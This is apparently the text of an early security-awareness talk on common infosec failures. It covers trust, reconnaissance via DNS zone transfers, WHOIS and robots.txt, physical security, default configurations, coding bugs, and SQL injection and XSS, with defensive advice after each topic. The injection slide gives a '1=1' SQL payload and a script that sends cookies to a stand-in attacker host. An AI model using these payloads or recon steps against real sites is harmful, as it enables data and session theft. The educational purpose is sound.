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 Background
 

 

  InfoSec has been a concern since the dawn of computing, but 
only recently as money has poured into the industry and lives 
depended on it...

 

  The format of this talk is:
      Problem introduction
      Examples exposed
      Possible solutions 

  This talk is NOT about:
      Language, OS, Editor "holy wars"
      Everything 
 



 Why should people care?
 

 

  Its not if, its when.
  No business is too small.
  Your life does depend on it. 



 Trust
 

 

  Who do you need to trust?
      Vendors
      Products
      Devices
      People 

  What does it mean to "trust"?
      Are they truthful?
      What are they hiding?
      Are they "secure"?
      Does it do what it says it does?
      Is that box as good as it claims to be?
      Is that email/phone/letter really from your bank?
      Do they need this information? 
 



 Trust - Exposed
 

 

  Vendors/Products:
      Lead time
      Ignored vulnerabilities
      Who's priorities are more important?
      Example: Sun 

  Devices:
      Functionality vs. Security
      Example: the mystery wireless gateway device, "appliances" 

  People:
      Stop, drop, and read Kevin Mitnick's Book "The Art of Deception"
      Example: NH Liquor Store 



 Trust - Protection
 

 

  Vendors/Products:
      Stay informed: newsletters, mailing lists, websites, user groups
      A reliable contact, or chain of contacts
      Proper functionality/integration testing 

  Devices:
      Same as vendors/products. 

  People:
      When in doubt, question everything.  



 Identity/Information Theft
 

 

  Now, more than ever, your information is at risk:
      Name, address, telephone number
      Age
      Social Security Number
      Bank/Credit card numbers, PINs 

  Other information:
      Mother's maiden name, Boss's name, dogs name
      Birthplace
      Place of employment, your co-workers
      Credit history 

  Corporate intelligence
      Network maps
      Hostnames, IPs (DNS is great)
      Org charts
      email addresses 



 Identity/Information Theft - Exposed
 

 

 
 
 



 Identity/Information Theft - Exposed (cont.)
 

 
 



 Identity/Information Theft - Exposed (cont.)
 

 
 



 Identity/Information Theft - Exposed (cont.)
 

 
 



 Identity/Information Theft - Exposed (cont.)
 

 
 



 Identity/Information Theft - Exposed (cont.)
 

 
 



 Identity/Information Theft - Exposed (cont.)
 

 
 



 Identity/Information Theft - Exposed (cont.)
 

 
 



 Identity/Information Theft - Exposed (cont.)
 

 
 



 Identity/Information Theft - Exposed (cont.)
 

 
 
 



 Identity/Information Theft - Exposed (cont.)
 

  Three quick steps for an effective reconnaissance run
      DNS Zone transfer(s)
      WHOIS
      robots.txt, google



 Identity/Information Theft - Exposed (cont.)
 

 $  host -l somesite.us
 somesite.us.           NS      ns1.somesite.us.
 somesite.us.           NS      ns3.somednsserver.net.
 somesite.us.           A       10.0.0.230
 admin.somesite.us.     A       10.0.0.232
 backup.somesite.us.    A       192.168.1.1
 mail.somesite.us.      A       10.0.0.230
 ns1.somesite.us.       A       10.0.0.230
 silc.somesite.us.      A       192.168.0.6 
 webmail.somesite.us.   A       10.0.0.230 



 Identity/Information Theft - Exposed (cont.)
 

 Administrative Contact:
 Example, Joe   joee@mylinuxmachine.com
 6 Main St
 CONCORD, MA 01742
 617-555-1212 fax: 123 123 1234 

 Technical Contact:
 Jamie Foo      jfoo@jfoo.biz
 26 Vernon Ave - 4F
 Boston, MA 02108
 617-555-1212 fax: 123 123 1234 

 Record expires on 21-Dec-2005.
 Record created on 21-Dec-2000.
 Database last updated on 3-Feb-2004 15:06:36 EST. 

 Domain servers in listed order: 

 FOOBAR.COM        192.168.0.1
 FOOBAR.NET        10.0.0.1 



 Identity/Information Theft - Exposed (cont.)
 

 

  robots.txt specifies files not to be "crawled"
  Google to find the files/directories they don't want you to see
  Common/funny entries:
      /intranet
      /webmail
      /CVS, /RCS 



 Identity/Information Theft - Protection
 

 

  Publish no more than necessary.
  Data risk model
  Invest in a shredder (30-$50 at BestBuy)
  Keep an eye on your personal records:
      Bank statements
      Credit card statements
      Credit reports 



 Physical Security
 

 

  Not enough attention paid to physical security:
      Locks, Keypads
            Time based ACLs 

      Identification materials 

      Cameras/Surveillance 

      Public computer security
            Locks
            BIOS passwords
            OS Hardening 

      Network security
            Access to network jacks
            Access to network wiring 



 Physical Security - Exposed
 

 

  Simple fact:  with physical access to a computer, there is little you 
can do to stop a determined attacker:

      Hardware keyloggers 

      Maliciously modify disk contents
            Backdoors, rootkits
            Read critical files 

      Attacker POV now becomes local and remote 

  Examples:
      CCS computer lab vs. others
      Past employer
      Webcam
      BOOTP/DHCP 



 Physical Security - Protection
 

 

  Publish a physical security policy and enforce it. 

  Physical security policy violations punishement and reports. 

  Intrusion alarms
      Room/area violations
      Hardware 
 



 Default Configurations
 

 

  Oftentimes, products are shipped/sold in an insecure state:
      Insecure default configurations
      Whos security standards?
      Service packs, errata, bugs, vulnerabilities not patched in retail versions. 

  Even if updates are available...:
      Too large
      Too complicated
      Too much risk 



 Default Configurations - Exposed
 

 

  Attackers thrive on default configurations 

  Compare number/level of default insecurities with frequency of 
attacks:

      Windows, closedsource: 
            Dozens of popular insecurities
            Updates are large, complicated, and have history of not working
            Horrible security track record
            Time between vulnerability discovery and fix is FAR too long
      Linux, opensource:
            Many insecurities,
            Updates can be a real chore, but not necessarily
            So-so security track record
            Time between vulnerability discovery and fix is relatively quick
      *BSD:
            Few insecurities
            Updates are simple
            Excellent track record
            Fixes available prior to disclosure or soon after. 
 



 Default Configurations - Protection
 

 

  Your vendor has documented ways to keep your system updated 
so USE THEM!

 

  The web is a beautiful place:
      Numerous tools and tutorials to help you stay secure. 
 



 Classic Programming Mistakes
 

 

  There really is no excuse for these bugs, but...
      Format strings
      Overflows
            Buffer
            Heap
            Stack
            Integer
      Improper handling of user input
      Information disclosure 



 Classic Programming Mistakes - Exposed
 

  C: syslog(), *printf(), strcat(), strcpy(), *scanf(), *exec*()
  Perl: open(), system()
  Python: os.*
  Java, Scheme, others:  yes, you too. 

  Tools/techniques to exploit these vulnerabilities are widely known. 

  Examples:
      Microsoft, Microsoft, Microsoft
      Oracle
      IBM
      "mom and pop" 



 Classic Programming Mistakes - Protection
 

 

  Programmers/designers should be taught about these issues at 
birth.

  A little creativity goes a long way.
  Assume the worst.
  Issues, as well as solutions, are well documented for most 

languages.

  When in doubt, have someone else audit your code.
  Better you pay and learn now than lose customers and reputation 

later.
 
 



 SQL Injection / Cross Site Scripting
 

 

  SQL Injection:
      "Injecting" unexpected, mishandled data into SQL queries.
      Data is actually partial SQL which gets expanded inside the query.
      Query now acts differently, often maliciously. 

  Cross Site Scripting:
      Inserting specially formed data into web applications.
      Data is actually partial HTML/scripting. 
      Web application processes and then returns content containing the 

HTML/scripting.
 



 SQL Injection / Cross Site Scripting - Exposed
 

 

  SQL Injection
      SELECT ssn FROM users where uid=$id;
      $id == "5 OR 1=1" 

  Resulting query:
      SELECT ssn FROM users where uid=5 or 1=1 

  Result?
      All SSNs from the 'users' table
      Possible ability to perform more complex and malicious attacks 

  Cross Site Scripting
      http://example/cgi-bin/search.cgi?string=
      string == "<script>alert("Hello, world")</script>"
      string == "<script>location.href= "http://foo.com/cookiemonster.cgi?" + document.cookie</script>" 

  Resulting request:
      Pops up a Javascript "Hello, world"
      Sends your cookies to a malicious third party
      More 



 SQL Injection / Cross Site Scripting - Protection
 

 

  Your users are out to get you.  Trust nothing.
  Do not rely on hidden fields
  Please, please don't "roll your own" solutions
  Most languages have mechanisms to help you protect against 

these attacks

  Students should learn this in the classroom
  As usual, Google is your friend 



 Page 'o Links
 

 

 http://spoofed.org/files/text/infosec-blunders-acm02042004.pdf
 http://www.sans.org/rr/papers/index.php?id=1221
 http://www.shmoo.com/securecode/
 http://www.cgisecurity.com/articles/xss-faq.shtml
 http://www.google.com/search?q=SQL+injection  (seriously)


